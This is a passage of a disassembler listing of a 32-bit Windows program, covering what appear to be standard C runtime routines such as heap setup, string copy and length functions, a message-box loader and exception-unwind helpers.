loc_402294:				; CODE XREF: sub_402291-Aj
					; sub_402291-6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		add	dword ptr [ebp-1Ch], 4
		jmp	short loc_402273
sub_402291	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402291

loc_40229E:				; CODE XREF: sub_402291-17j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_402291

; =============== S U B	R O U T	I N E =======================================



sub_4022A4	proc near		; CODE XREF: sub_4022BE+20p
		cmp	dword_4072BC, 2
		jnz	short loc_4022BA
		cmp	dword_4072C8, 5
		jb	short loc_4022BA
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4022BA:				; CODE XREF: sub_4022A4+7j
					; sub_4022A4+10j
		push	3
		pop	eax
		retn
sub_4022A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022BE	proc near		; CODE XREF: .text:00401349p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_4050A4	; HeapCreate
		test	eax, eax
		mov	dword_407700, eax
		jz	short loc_402308
		call	sub_4022A4
		cmp	eax, 3
		mov	dword_407704, eax
		jnz	short loc_40230B
		push	3F8h
		call	sub_40330D
		test	eax, eax
		pop	ecx
		jnz	short loc_40230B
		push	dword_407700
		call	ds:dword_4050A0	; HeapDestroy

loc_402308:				; CODE XREF: sub_4022BE+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40230B:				; CODE XREF: sub_4022BE+2Dj
					; sub_4022BE+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_4022BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402310	proc near		; CODE XREF: .text:00401294p
					; .text:004015AEp ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_402325
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------

loc_402325:				; CODE XREF: sub_402310+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]

loc_40232A:				; CODE XREF: sub_402310+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40232A
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_402310	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40234D	proc near		; CODE XREF: .text:004015FBp
					; sub_4018FC+129p

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	dword_407414, ebx
		push	esi
		push	edi
		jnz	short loc_4023CD
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_40502C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_402408
		mov	esi, ds:dword_405028
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_407414, eax
		jz	short loc_402408
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_407418, eax
		call	esi	; GetProcAddress
		cmp	dword_4072BC, 2
		mov	dword_40741C, eax
		jnz	short loc_4023CD
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_407424, eax
		jz	short loc_4023CD
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		mov	dword_407420, eax

loc_4023CD:				; CODE XREF: sub_40234D+11j
					; sub_40234D+60j ...
		mov	eax, dword_407420
		test	eax, eax
		jz	short loc_402412
		call	eax
		test	eax, eax
		jz	short loc_4023F9
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	dword_407424
		test	eax, eax
		jz	short loc_4023F9
		test	[ebp+var_8], 1
		jnz	short loc_402412

loc_4023F9:				; CODE XREF: sub_40234D+8Dj
					; sub_40234D+A4j
		cmp	dword_4072C8, 4
		jb	short loc_40240C
		or	[ebp+arg_A], 20h
		jmp	short loc_402431
; ---------------------------------------------------------------------------

loc_402408:				; CODE XREF: sub_40234D+22j
					; sub_40234D+3Dj
		xor	eax, eax
		jmp	short loc_402441
; ---------------------------------------------------------------------------

loc_40240C:				; CODE XREF: sub_40234D+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_402431
; ---------------------------------------------------------------------------

loc_402412:				; CODE XREF: sub_40234D+87j
					; sub_40234D+AAj
		mov	eax, dword_407418
		test	eax, eax
		jz	short loc_402431
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402431
		mov	eax, dword_40741C
		test	eax, eax
		jz	short loc_402431
		push	ebx
		call	eax
		mov	ebx, eax

loc_402431:				; CODE XREF: sub_40234D+B9j
					; sub_40234D+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_407414

loc_402441:				; CODE XREF: sub_40234D+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40234D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402450	proc near		; CODE XREF: .text:0040155Ap
					; .text:004015BAp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_4024C5
sub_402450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402460	proc near		; CODE XREF: .text:004015C6p
					; .text:004015D1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_402480

loc_40246D:				; CODE XREF: sub_402460+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_4024B3
		test	ecx, 3
		jnz	short loc_40246D
		mov	edi, edi

loc_402480:				; CODE XREF: sub_402460+Bj
					; sub_402460+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402480
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_4024C2
		test	ah, ah
		jz	short loc_4024BD
		test	eax, 0FF0000h
		jz	short loc_4024B8
		test	eax, 0FF000000h
		jz	short loc_4024B3
		jmp	short loc_402480
; ---------------------------------------------------------------------------

loc_4024B3:				; CODE XREF: sub_402460+14j
					; sub_402460+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_4024C5
; ---------------------------------------------------------------------------

loc_4024B8:				; CODE XREF: sub_402460+48j
		lea	edi, [ecx-2]
		jmp	short loc_4024C5
; ---------------------------------------------------------------------------

loc_4024BD:				; CODE XREF: sub_402460+41j
		lea	edi, [ecx-3]
		jmp	short loc_4024C5
; ---------------------------------------------------------------------------

loc_4024C2:				; CODE XREF: sub_402460+3Dj
		lea	edi, [ecx-4]

loc_4024C5:				; CODE XREF: sub_402450+5j
					; sub_402460+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4024EE

loc_4024D1:				; CODE XREF: sub_402460+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_402540
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_4024D1
		jmp	short loc_4024EE
; ---------------------------------------------------------------------------

loc_4024E9:				; CODE XREF: sub_402460+A6j
					; sub_402460+C0j
		mov	[edi], edx
		add	edi, 4

loc_4024EE:				; CODE XREF: sub_402460+6Fj
					; sub_402460+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4024E9
		test	dl, dl
		jz	short loc_402540
		test	dh, dh
		jz	short loc_402537
		test	edx, 0FF0000h
		jz	short loc_40252A
		test	edx, 0FF000000h
		jz	short loc_402522
		jmp	short loc_4024E9
; ---------------------------------------------------------------------------

loc_402522:				; CODE XREF: sub_402460+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40252A:				; CODE XREF: sub_402460+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_402537:				; CODE XREF: sub_402460+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_402540:				; CODE XREF: sub_402460+78j
					; sub_402460+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_402460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402550	proc near		; CODE XREF: .text:00401595p
					; sub_4018FC+C7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_4025EF
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40257C
		shr	ecx, 2
		jnz	loc_4025FF
		jmp	short loc_4025A3
; ---------------------------------------------------------------------------

loc_40257C:				; CODE XREF: sub_402550+1Fj
					; sub_402550+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_4025B6
		test	al, al
		jz	short loc_4025BE
		test	esi, 3
		jnz	short loc_40257C
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4025FF

loc_40259E:				; CODE XREF: sub_402550+ADj
		and	ebx, 3
		jz	short loc_4025B6

loc_4025A3:				; CODE XREF: sub_402550+2Aj
					; sub_402550+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_4025E8
		sub	ebx, 1
		jnz	short loc_4025A3

loc_4025B6:				; CODE XREF: sub_402550+39j
					; sub_402550+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4025BE:				; CODE XREF: sub_402550+3Dj
		test	edi, 3
		jz	short loc_4025DC

loc_4025C6:				; CODE XREF: sub_402550+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_40266C
		test	edi, 3
		jnz	short loc_4025C6

loc_4025DC:				; CODE XREF: sub_402550+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_402657

loc_4025E3:				; CODE XREF: sub_402550+9Bj
					; sub_402550+116j
		mov	[edi], al
		add	edi, 1

loc_4025E8:				; CODE XREF: sub_402550+5Fj
		sub	ebx, 1
		jnz	short loc_4025E3
		pop	ebx
		pop	esi

loc_4025EF:				; CODE XREF: sub_402550+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4025F5:				; CODE XREF: sub_402550+C7j
					; sub_402550+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_40259E

loc_4025FF:				; CODE XREF: sub_402550+24j
					; sub_402550+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4025F5
		test	dl, dl
		jz	short loc_402649
		test	dh, dh
		jz	short loc_40263F
		test	edx, 0FF0000h
		jz	short loc_402635
		test	edx, 0FF000000h
		jnz	short loc_4025F5
		mov	[edi], edx
		jmp	short loc_40264D
; ---------------------------------------------------------------------------

loc_402635:				; CODE XREF: sub_402550+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40264D
; ---------------------------------------------------------------------------

loc_40263F:				; CODE XREF: sub_402550+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40264D
; ---------------------------------------------------------------------------

loc_402649:				; CODE XREF: sub_402550+CBj
		xor	edx, edx
		mov	[edi], edx

loc_40264D:				; CODE XREF: sub_402550+E3j
					; sub_402550+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_402663

loc_402657:				; CODE XREF: sub_402550+91j
		xor	eax, eax

loc_402659:				; CODE XREF: sub_402550+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_402659

loc_402663:				; CODE XREF: sub_402550+105j
		and	ebx, 3
		jnz	loc_4025E3

loc_40266C:				; CODE XREF: sub_402550+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_402550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402680	proc near		; CODE XREF: .text:0040156Ap
					; .text:0040157Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_4026B0

loc_40268C:				; CODE XREF: sub_402680+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_4026E3
		test	ecx, 3
		jnz	short loc_40268C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]

loc_4026B0:				; CODE XREF: sub_402680+Aj
					; sub_402680+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4026B0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402701
		test	ah, ah
		jz	short loc_4026F7
		test	eax, 0FF0000h
		jz	short loc_4026ED
		test	eax, 0FF000000h
		jz	short loc_4026E3
		jmp	short loc_4026B0
; ---------------------------------------------------------------------------

loc_4026E3:				; CODE XREF: sub_402680+13j
					; sub_402680+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_4026ED:				; CODE XREF: sub_402680+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_4026F7:				; CODE XREF: sub_402680+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_402701:				; CODE XREF: sub_402680+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_402680	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40270C	proc near		; CODE XREF: sub_401660+70p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_402724
		push	[ebp+arg_0]
		call	sub_404E12	; RtlUnwind

loc_402724:				; DATA XREF: sub_40270C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40270C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40272C	proc near		; DATA XREF: sub_40274E+Ao
					; .text:004027BFo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40274D
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40274D:				; CODE XREF: sub_40272C+10j
		retn
sub_40272C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40274E	proc near		; CODE XREF: sub_401660+7Dp
					; sub_401660+D0p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_40272C
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_40276B:				; CODE XREF: sub_40274E:loc_4027A6j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4027A8
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4027A8
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4027A6
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4027E2
		call	dword ptr [ebx+esi*4+8]

loc_4027A6:				; CODE XREF: sub_40274E+44j
		jmp	short loc_40276B
; ---------------------------------------------------------------------------

loc_4027A8:				; CODE XREF: sub_40274E+2Aj
					; sub_40274E+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40274E	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_40272C
		jnz	short locret_4027D8
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4027D8
		mov	eax, 1

locret_4027D8:				; CODE XREF: .text:004027C6j
					; .text:004027D1j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_407170
		jmp	short loc_4027EC

; =============== S U B	R O U T	I N E =======================================



sub_4027E2	proc near		; CODE XREF: sub_401660+8Ep
					; sub_40274E+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_407170
		mov	ecx, [ebp+8]

loc_4027EC:				; CODE XREF: .text:004027E0j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4027E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027FA	proc near		; CODE XREF: sub_401660+34p

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		test	bl, 3
		jnz	short loc_402828
		mov	eax, large fs:18h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		cmp	ebx, ecx
		mov	[ebp+var_4], ecx
		jb	short loc_40282F
		cmp	ebx, [eax+4]
		jnb	short loc_40282F

loc_402828:				; CODE XREF: sub_4027FA+11j
		xor	eax, eax
		jmp	loc_402A1F
; ---------------------------------------------------------------------------

loc_40282F:				; CODE XREF: sub_4027FA+27j
					; sub_4027FA+2Cj
		push	edi
		mov	edi, [esi+0Ch]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_402840

loc_402838:				; CODE XREF: sub_4027FA+139j
					; sub_4027FA+19Cj ...
		xor	eax, eax
		inc	eax
		jmp	loc_402A1E
; ---------------------------------------------------------------------------

loc_402840:				; CODE XREF: sub_4027FA+3Cj
		xor	edx, edx
		mov	[ebp+arg_0], edx
		mov	eax, ebx

loc_402847:				; CODE XREF: sub_4027FA+6Bj
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_402856
		cmp	ecx, edx
		jnb	loc_40299B

loc_402856:				; CODE XREF: sub_4027FA+52j
		cmp	dword ptr [eax+4], 0
		jz	short loc_40285F
		inc	[ebp+arg_0]

loc_40285F:				; CODE XREF: sub_4027FA+60j
		inc	edx
		add	eax, 0Ch
		cmp	edx, edi
		jbe	short loc_402847
		cmp	[ebp+arg_0], 0
		jz	short loc_402881
		mov	eax, [esi-8]
		cmp	eax, [ebp+var_4]
		jb	loc_40299B
		cmp	eax, esi
		jnb	loc_40299B

loc_402881:				; CODE XREF: sub_4027FA+71j
		mov	eax, dword_407428
		mov	edi, ebx
		and	edi, 0FFFFF000h
		xor	esi, esi
		test	eax, eax
		jle	short loc_4028A6

loc_402894:				; CODE XREF: sub_4027FA+AAj
		cmp	dword_407430[esi*4], edi
		jz	loc_40299F
		inc	esi
		cmp	esi, eax
		jl	short loc_402894

loc_4028A6:				; CODE XREF: sub_4027FA+98j
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	ds:dword_4050B8	; VirtualQuery
		test	eax, eax
		jz	loc_402A1B
		cmp	[ebp+var_8], 1000000h
		jnz	loc_402A1B
		test	[ebp+var_C], 0CCh
		jz	short loc_402924
		mov	ecx, [ebp+var_1C]
		cmp	word ptr [ecx],	5A4Dh
		jnz	loc_402A1B
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	loc_402A1B
		cmp	word ptr [eax+18h], 10Bh
		jnz	loc_402A1B
		sub	ebx, ecx
		cmp	word ptr [eax+6], 0
		movzx	ecx, word ptr [eax+14h]
		lea	ecx, [ecx+eax+18h]
		jbe	loc_402A1B
		mov	eax, [ecx+0Ch]
		cmp	ebx, eax
		jb	short loc_402924
		mov	edx, [ecx+8]
		add	edx, eax
		cmp	ebx, edx
		jnb	short loc_402924
		test	byte ptr [ecx+27h], 80h
		jnz	short loc_40299B

loc_402924:				; CODE XREF: sub_4027FA+D2j
					; sub_4027FA+119j ...
		push	1
		push	offset dword_407470
		call	ds:dword_4050B4	; InterlockedExchange
		test	eax, eax
		jnz	loc_402838
		mov	ecx, dword_407428
		test	ecx, ecx
		mov	edx, ecx
		jle	short loc_402958
		lea	eax, ds:40742Ch[ecx*4]

loc_40294C:				; CODE XREF: sub_4027FA+15Cj
		cmp	[eax], edi
		jz	short loc_402958
		dec	edx
		sub	eax, 4
		test	edx, edx
		jg	short loc_40294C

loc_402958:				; CODE XREF: sub_4027FA+149j
					; sub_4027FA+154j
		test	edx, edx
		jnz	short loc_402989
		push	0Fh
		pop	ebx
		cmp	ecx, ebx
		jg	short loc_402965
		mov	ebx, ecx

loc_402965:				; CODE XREF: sub_4027FA+167j
		xor	edx, edx
		test	ebx, ebx
		jl	short loc_40297D

loc_40296B:				; CODE XREF: sub_4027FA+181j
		lea	eax, ds:407430h[edx*4]
		mov	esi, [eax]
		inc	edx
		cmp	edx, ebx
		mov	[eax], edi
		mov	edi, esi
		jle	short loc_40296B

loc_40297D:				; CODE XREF: sub_4027FA+16Fj
		cmp	ecx, 10h
		jge	short loc_402989
		inc	ecx
		mov	dword_407428, ecx

loc_402989:				; CODE XREF: sub_4027FA+160j
					; sub_4027FA+186j
		push	0
		push	offset dword_407470
		call	ds:dword_4050B4	; InterlockedExchange
		jmp	loc_402838
; ---------------------------------------------------------------------------

loc_40299B:				; CODE XREF: sub_4027FA+56j
					; sub_4027FA+79j ...
		xor	eax, eax
		jmp	short loc_402A1E
; ---------------------------------------------------------------------------

loc_40299F:				; CODE XREF: sub_4027FA+A1j
		test	esi, esi
		jle	loc_402838
		mov	ebx, ds:dword_4050B4
		push	1
		push	offset dword_407470
		call	ebx	; InterlockedExchange
		test	eax, eax
		jnz	loc_402838
		cmp	dword_407430[esi*4], edi
		jz	short loc_4029F5
		mov	eax, dword_407428
		lea	esi, [eax-1]
		test	esi, esi
		jl	short loc_4029E3

loc_4029D3:				; CODE XREF: sub_4027FA+1E3j
		cmp	dword_407430[esi*4], edi
		jz	short loc_4029DF
		dec	esi
		jns	short loc_4029D3

loc_4029DF:				; CODE XREF: sub_4027FA+1E0j
		test	esi, esi
		jge	short loc_4029F3

loc_4029E3:				; CODE XREF: sub_4027FA+1D7j
		cmp	eax, 10h
		jge	short loc_4029EE
		inc	eax
		mov	dword_407428, eax

loc_4029EE:				; CODE XREF: sub_4027FA+1ECj
		lea	esi, [eax-1]
		jmp	short loc_4029F5
; ---------------------------------------------------------------------------

loc_4029F3:				; CODE XREF: sub_4027FA+1E7j
		jz	short loc_402A0D

loc_4029F5:				; CODE XREF: sub_4027FA+1CBj
					; sub_4027FA+1F7j
		xor	ecx, ecx
		test	esi, esi
		jl	short loc_402A0D

loc_4029FB:				; CODE XREF: sub_4027FA+211j
		lea	eax, ds:407430h[ecx*4]
		mov	edx, [eax]
		inc	ecx
		cmp	ecx, esi
		mov	[eax], edi
		mov	edi, edx
		jle	short loc_4029FB

loc_402A0D:				; CODE XREF: sub_4027FA:loc_4029F3j
					; sub_4027FA+1FFj
		push	0
		push	offset dword_407470
		call	ebx	; InterlockedExchange
		jmp	loc_402838
; ---------------------------------------------------------------------------

loc_402A1B:				; CODE XREF: sub_4027FA+BBj
					; sub_4027FA+C8j ...
		or	eax, 0FFFFFFFFh

loc_402A1E:				; CODE XREF: sub_4027FA+41j
					; sub_4027FA+1A3j
		pop	edi

loc_402A1F:				; CODE XREF: sub_4027FA+30j
		pop	esi
		pop	ebx
		leave
		retn
sub_4027FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A23	proc near		; CODE XREF: sub_402AA5+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_407828
		call	sub_403F92
		pop	ecx
		mov	ecx, dword_407824
		mov	esi, eax
		mov	eax, dword_407828
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_402A96
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_402A53
		mov	ecx, esi

loc_402A53:				; CODE XREF: sub_402A23+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_403E30
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402A79
		add	esi, 10h
		push	esi
		push	dword_407828
		call	sub_403E30
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402A79
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_402A79:				; CODE XREF: sub_402A23+3Dj
					; sub_402A23+52j
		mov	ecx, dword_407824
		sub	ecx, dword_407828
		mov	dword_407828, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_407824, ecx

loc_402A96:				; CODE XREF: sub_402A23+23j
		mov	eax, [esp+4+arg_0]
		mov	[ecx], eax
		add	dword_407824, 4
		pop	esi
		retn
sub_402A23	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AA5	proc near		; CODE XREF: sub_401761+70p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_402A23
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_402AA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AB7	proc near		; DATA XREF: .data:00407010o
		push	80h
		call	sub_402FB5
		test	eax, eax
		pop	ecx
		mov	dword_407828, eax
		jnz	short loc_402ACF
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_402ACF:				; CODE XREF: sub_402AB7+12j
		and	dword ptr [eax], 0
		mov	eax, dword_407828
		mov	dword_407824, eax
		xor	eax, eax
		retn
sub_402AB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_402ADF	proc near		; CODE XREF: sub_402B12+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4074E1[eax], cl
		jnz	short loc_402B0E
		cmp	[esp+arg_4], 0
		jz	short loc_402B07
		mov	ecx, off_407280
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_402B09
; ---------------------------------------------------------------------------

loc_402B07:				; CODE XREF: sub_402ADF+16j
		xor	eax, eax

loc_402B09:				; CODE XREF: sub_402ADF+26j
		test	eax, eax
		jnz	short loc_402B0E
		retn
; ---------------------------------------------------------------------------

loc_402B0E:				; CODE XREF: sub_402ADF+Fj
					; sub_402ADF+2Cj
		xor	eax, eax
		inc	eax
		retn
sub_402ADF	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B12	proc near		; CODE XREF: sub_401C1D+3Fp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_402ADF
		add	esp, 0Ch
		retn
sub_402B12	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B23	proc near		; CODE XREF: sub_402D07+157p
					; sub_402D07+19Cp
		sub	eax, 3A4h
		jz	short loc_402B4C
		sub	eax, 4
		jz	short loc_402B46
		sub	eax, 0Dh
		jz	short loc_402B40
		dec	eax
		jz	short loc_402B3A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_402B3A:				; CODE XREF: sub_402B23+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_402B23+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_402B46:				; CODE XREF: sub_402B23+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_402B4C:				; CODE XREF: sub_402B23+5j
		mov	eax, 411h
		retn
